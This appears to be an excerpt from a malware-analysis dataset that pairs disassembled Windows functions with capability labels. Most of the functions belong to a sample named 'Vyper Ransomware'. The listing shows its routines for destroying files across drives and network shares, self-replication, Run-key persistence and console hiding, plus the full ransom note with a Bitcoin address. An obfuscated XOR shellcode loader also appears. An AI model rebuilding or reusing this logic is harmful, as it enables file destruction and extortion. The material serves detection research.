joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003a910
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
push 0x10
mov eax, 0x100bc224
call fcn.100587f7
xor esi, esi
mov dword [ebp - 0x10], esi
push dword [ebp + 8]
and dword [ebp - 4], esi
lea ecx, [ebp - 0x14]
call fcn.10001727
mov edi, dword [ebp - 0x14]
xor ebx, ebx
inc ebx
mov byte [ebp - 4], bl
test edi, edi
je 0x1003a945
xor eax, eax
cmp dword [edi], eax
sete al
jmp 0x1003a947
mov eax, ebx
test al, al
je 0x1003a952
push 0x100fc3b9
jmp 0x1003a970
test edi, edi
je 0x1003a95a
mov eax, dword [edi]
jmp 0x1003a95c
xor eax, eax
push eax
call fcn.1003ad1c
pop ecx
test eax, eax
jne 0x1003a9ab
lea ecx, [ebp - 0x14]
call fcn.1001d871
push eax
call dword [sym.imp.WSOCK32.dll_gethostbyname]
test eax, eax
je 0x1003aa17
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WSOCK32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x18]
call fcn.1000d9ae
push eax
lea ecx, [ebp - 0x10]
call fcn.10001795
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x1003a9bb
call fcn.10001b26
jmp 0x1003a9bb
cmp eax, ebx
jne 0x1003aa17
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
call fcn.10001795
lea ecx, [ebp - 0x10]
call fcn.1001d871
push eax
call dword [sym.imp.WSOCK32.dll_inet_addr]
push 2
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push 4
push eax
call dword [sym.imp.WSOCK32.dll_gethostbyaddr]
mov esi, eax
test esi, esi
je 0x1003aa14
mov ecx, dword [esi]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1003a9e6
sub ecx, edx
push ecx
push dword [esi]
call fcn.10061e37
pop ecx
pop ecx
push dword [esi]
lea ecx, [ebp - 0x18]
call fcn.1000d9ae
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x1003aa0f
call fcn.10001b26
mov esi, dword [ebp - 0x10]
jmp 0x1003aa19
mov esi, dword [ebp - 0x10]
xor bl, bl
test edi, edi
je 0x1003aa24
mov ecx, edi
call fcn.10001b26
test esi, esi
je 0x1003aa2f
mov ecx, esi
call fcn.10001b26
mov al, bl
call fcn.100587c0
ret
Function at 0x1003aab0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x1004]
mov eax, 0x1004
call fcn.100588e0
push 0xffffffffffffffff
push 0x100bc262
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x1011ca44]
xor eax, ebp
mov dword [ebp + 0x1000], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 0x100c]
mov dword [ebp - 0x18], edi
xor ebx, ebx
lea eax, [ebp]
push 0x1000
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.1005c640
mov eax, dword [ebp + 0x1010]
add esp, 0xc
test eax, eax
je 0x1003ab1b
mov esi, dword [eax]
jmp 0x1003ab1d
mov esi, ebx
movzx ecx, word [esi]
mov eax, ebx
mov edx, ebx
test cx, cx
je 0x1003ac42
cmp cx, 0x2e
jne 0x1003ab39
inc eax
cmp eax, 1
jg 0x1003ab4c
inc edx
movzx ecx, word [esi + edx*2]
test cx, cx
jne 0x1003ab2d
cmp eax, 1
jle 0x1003ac42
push 0x100fca6c
push esi
call fcn.10061e37
pop ecx
pop ecx
test eax, eax
js 0x1003ac42
push esi
call fcn.10039f71
pop ecx
test al, al
je 0x1003ac42
push 0x100fca88
lea ecx, [ebp - 0x14]
call fcn.10001727
push 0x100fca84
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.1000d9ae
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x14]
call fcn.1000187c
mov ecx, dword [ebp - 0x10]
mov byte [ebp - 4], 1
test ecx, ecx
je 0x1003abae
call fcn.10001b26
push esi
lea ecx, [ebp - 0x10]
call fcn.10001727
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x14]
call fcn.1000187c
mov ecx, dword [ebp - 0x10]
mov byte [ebp - 4], 1
test ecx, ecx
je 0x1003abd7
call fcn.10001b26
mov esi, dword [ebp - 0x14]
test esi, esi
je 0x1003abe2
mov eax, dword [esi]
jmp 0x1003abe4
mov eax, ebx
lea ecx, [ebp - 0x18]
push ecx
push 0x20019
push ebx
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1003ac2a
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x1000
push eax
lea eax, [ebp]
push eax
lea eax, [ebp - 0x1c]
push eax
push ebx
push 0x100fcae0
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x1003ac2a
xor eax, eax
mov word [ebp], ax
lea eax, [ebp]
mov ecx, edi
push eax
call fcn.10001727
test esi, esi
je 0x1003ac62
mov ecx, esi
call fcn.10001b26
jmp 0x1003ac62
push str.1.3.1
push esi
call fcn.10061e37
push esi
call fcn.10039f71
add esp, 0xc
mov ecx, edi
push 0x100fc3be
call fcn.1000d9ae
mov ecx, dword [ebp + 0x1010]
test ecx, ecx
je 0x1003ac71
call fcn.10001b26
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x1000]
xor ecx, ebp
call fcn.100587af
add ebp, 0x1004
leave
ret
Function at 0x10061e37
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x10061e46
pop dword [ebp - 0x30]
mov eax, 0x10061e46
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x5f0c0
push 0
mov eax, 0xcb9f9b10
add eax, 0x446c66c8
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0xbd24c603
sub ecx, 0xbd24855d
xor esi, esi
add esi, eax
mov edi, 0xe6cfadb5
sub edi, 0xd6b905b5
add edi, dword [ebp - 0x30]
mov edx, 0xf45d6cb
xor dword [ebp - 0x10], ebx
mov ebx, dword [edi]
sub dword [ebp - 0x14], 0xf418cb12
add ebx, edx
sub dword [ebp - 0xc], ecx
mov dword [esi], ebx
xor dword [ebp - 0x20], edi
add esi, 4
add edi, 0x451932ff
sub edi, 0x451932fb
loop 0x10061e9c
add eax, 0x6ddcb5cb
sub eax, 0x6ddbc060
xor ebx, ebx
add ebx, eax
add eax, 0xd1e125c9
add eax, 0x2e1eda3c
mov ecx, 0x10000000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x401498
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
call sym._GetCurrentProcess_0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._GetProcessId_4
sub esp, 4
mov dword [ebp - 0x14], eax
mov dword [esp], 0
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40155a
jmp 0x40152e
mov eax, dword [ebp - 0x20]
cmp eax, 0x1000
jne 0x401521
mov eax, dword [ebp - 0x18]
cmp eax, 0x1000000
je 0x4014f3
mov eax, dword [ebp - 0x18]
cmp eax, 0x40000
jne 0x401521
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x34]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._VirtualProtectEx_20
sub esp, 0x14
nop
jmp 0x40155a
mov eax, dword [ebp - 0x30]
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [esp + 0xc], 0x1c
lea eax, [ebp - 0x30]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._VirtualQueryEx_16
sub esp, 0x10
test eax, eax
jne 0x4014d5
nop
leave
ret

Function at 0x40155d
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0xc], 0
jmp 0x4015be
mov eax, dword [ebp - 0x18]
cmp eax, 0x1000
jne 0x4015b1
mov eax, dword [ebp - 0x10]
cmp eax, 0x1000000
je 0x40158a
mov eax, dword [ebp - 0x10]
cmp eax, 0x40000
jne 0x4015b1
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x2c]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
nop
jmp 0x4015df
mov eax, dword [ebp - 0x28]
mov edx, eax
mov eax, dword [ebp - 0x1c]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [esp + 8], 0x1c
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
jne 0x40156c
nop
leave
ret

Function at 0x4015e2
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
call sym._GetConsoleWindow_0
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ShowWindow_8
sub esp, 8
nop
leave
ret
Function at 0x401609
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov dword [esp + 4], 0x40c0b0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40163d
mov dword [esp], str.Error_opening_file
call sym._perror
jmp 0x40175c
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0x14], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x4016b1
mov dword [esp], str.Error_allocating_memory
call sym._perror
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
jmp 0x40175c
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fread
mov dword [ebp - 0xc], 0
jmp 0x401702
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
lea ebx, [edx + eax]
call sym._rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x18
add edx, eax
movzx edx, dl
sub edx, eax
mov eax, edx
mov byte [ebx], al
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jl 0x4016db
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._free
add esp, 0x24
pop ebx
pop ebp
ret
Function at 0x401762
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x278
mov dword [ebp - 0xc], 0xffffffff
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x14c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym._FindFirstFileA_8
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4017cc
mov dword [esp], str.Error_opening_directory
call sym._perror
jmp 0x4018ab
mov dword [esp + 4], 0x40c0fc
lea eax, [ebp - 0x14c]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x40187d
mov dword [esp + 4], 0x40c0fe
lea eax, [ebp - 0x14c]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x40187d
lea eax, [ebp - 0x14c]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym.___mingw_snprintf
mov eax, dword [ebp - 0x14c]
and eax, 0x10
test eax, eax
je 0x401859
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym._encryptFilesRecursive
jmp 0x40187d
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym._encryptFile
lea eax, [ebp - 0x250]
mov dword [esp + 4], eax
mov dword [esp], str._s_has_been_encrypted._n
call sym._printf
lea eax, [ebp - 0x14c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FindNextFileA_8
sub esp, 8
test eax, eax
jne 0x4017cc
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FindClose_4
sub esp, 4
leave
ret

Function at 0x4018ad
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
call sym._GetLogicalDrives_0
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x18], 0x5c3a41
mov byte [ebp - 0xd], 0x41
jmp 0x40191a
mov eax, dword [ebp - 0xc]
and eax, 1
test eax, eax
je 0x40190d
movzx eax, byte [ebp - 0xd]
mov byte [ebp - 0x18], al
lea eax, [ebp - 0x18]
mov dword [esp], eax
call sym._GetDriveTypeA_4
sub esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
je 0x401902
cmp dword [ebp - 0x14], 2
je 0x401902
cmp dword [ebp - 0x14], 4
je 0x401902
cmp dword [ebp - 0x14], 5
jne 0x40190d
lea eax, [ebp - 0x18]
mov dword [esp], eax
call sym._encryptFilesRecursive
shr dword [ebp - 0xc], 1
movzx eax, byte [ebp - 0xd]
add eax, 1
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0x5a
jle 0x4018c8
nop
leave
ret

Function at 0x401923
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
lea eax, [ebp - 0x10c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x10
mov dword [esp], 0
call sym._SHGetFolderPathA_20
sub esp, 0x14
test eax, eax
je 0x40196f
mov dword [esp], str.Error_getting_desktop_directory_path
call sym._perror
jmp 0x40197d
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._encryptFilesRecursive
leave
ret
Function at 0x401b05
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x278
mov dword [ebp - 0xc], 0xffffffff
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x14c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym._FindFirstFileA_8
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401b6f
mov dword [esp], str.Error_opening_directory
call sym._perror
jmp 0x401c60
mov dword [esp + 4], 0x40c0fc
lea eax, [ebp - 0x14c]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x401c32
mov dword [esp + 4], 0x40c0fe
lea eax, [ebp - 0x14c]
add eax, 0x2c
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x401c32
lea eax, [ebp - 0x14c]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym.___mingw_snprintf
mov eax, dword [ebp - 0x14c]
and eax, 0x10
test eax, eax
je 0x401c00
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym._encryptAndReplicate
jmp 0x401c32
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym._encryptFile
lea eax, [ebp - 0x250]
mov dword [esp + 4], eax
mov dword [esp], str._s_has_been_encrypted._n
call sym._printf
lea eax, [ebp - 0x250]
mov dword [esp], eax
call sym._replicateFileOverNetwork
lea eax, [ebp - 0x14c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FindNextFileA_8
sub esp, 8
test eax, eax
jne 0x401b6f
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FindClose_4
sub esp, 4
leave
ret
Function at 0x401c62
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 0x4000
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401ca2
mov dword [esp], str.Error:_Insufficient_memory
call sym._puts
jmp 0x401dc2
lea eax, [ebp - 0x20]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._WNetEnumResourceA_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xea
jne 0x401d25
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._realloc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401cfe
mov dword [esp], str.Error:_Insufficient_memory
call sym._puts
jmp 0x401dc2
lea eax, [ebp - 0x20]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._WNetEnumResourceA_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401da4
mov dword [ebp - 0x14], 0
jmp 0x401d9a
mov eax, dword [ebp - 0x14]
shl eax, 5
mov edx, eax
mov eax, dword [ebp - 0x10]
add eax, edx
mov eax, dword [eax + 8]
cmp eax, 2
je 0x401d5e
mov eax, dword [ebp - 0x14]
shl eax, 5
mov edx, eax
mov eax, dword [ebp - 0x10]
add eax, edx
mov eax, dword [eax + 8]
cmp eax, 1
jne 0x401d96
mov eax, dword [ebp - 0x14]
shl eax, 5
mov edx, eax
mov eax, dword [ebp - 0x10]
add eax, edx
mov eax, dword [eax + 0x14]
mov dword [esp + 4], eax
mov dword [esp], str.Server:__s_n
call sym._printf
mov eax, dword [ebp - 0x14]
shl eax, 5
mov edx, eax
mov eax, dword [ebp - 0x10]
add eax, edx
mov eax, dword [eax + 0x14]
mov dword [esp], eax
call sym._encryptAndReplicate
add dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x14], eax
jb 0x401d34
jmp 0x401db7
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.Error:_WNetEnumResource_failed_with_error_code__d_n
call sym._printf
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._free
leave
ret
Function at 0x40217f
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [ebp - 0xc], str.SoftwareMicrosoftWindowsCurrentVersionRun
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
jne 0x402234
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x114]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.MyMalware
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x4024d3
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
call sym._hideConsoleWindow
call sym._encryptFilesFromAllDrives
call sym._encryptFilesFromDesktop
mov dword [esp + 4], 0x40c3a5
mov dword [esp], str.ransom.html
call sym._fopen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40256c
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x246
mov dword [esp + 4], 1
mov dword [esp], str.__DOCTYPE_html__html__head__title_Vyper_Ransomware__title___head__body_stylebackground_color:black__color:white__text_align:center___h1_Vyper_Ransomware__h1__p_Your_files_have_been_encrypted.__p__p_To_get_the_decryption_key__please_send__100_in_Bitcoin_to_this_address:__p__p_17q9vSvQXQsMg53fBt49oDf49uCqRXuRzN__p__p_Once_you_have_paid__send_proof_of_payment_to_vyper_proton.me_to_receive_the_decryption_key._br__br__img_srchttps:__toppng.com_uploads_thumbnail_viper_logo_png_viper_snake_logo_115629686088xlfsky4yn.png_altImagine_width300_height200___p___body___html_
call sym._fwrite
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.ransom.html
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
jmp 0x402578
mov dword [esp], str.Error_creating_HTML_file
call sym._perror
call sym._showStaticBSOD
mov dword [esp], 0x40c619
call sym._replicateRansomwareOnNetwork
call sym._addToStartup
nop
leave
ret
Function at 0x402c90
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40f044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40f03c]
sub esp, 4
test ebx, ebx
je 0x402cdb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402cd4
test esi, esi
je 0x402cd4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402cb0
mov dword [esp], 0x40f044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402ec0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402f10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402fe8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x402f4e
cmp eax, 4
jne 0x402f70
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x402f5e
cmp edx, 4
je 0x402f5e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402ec0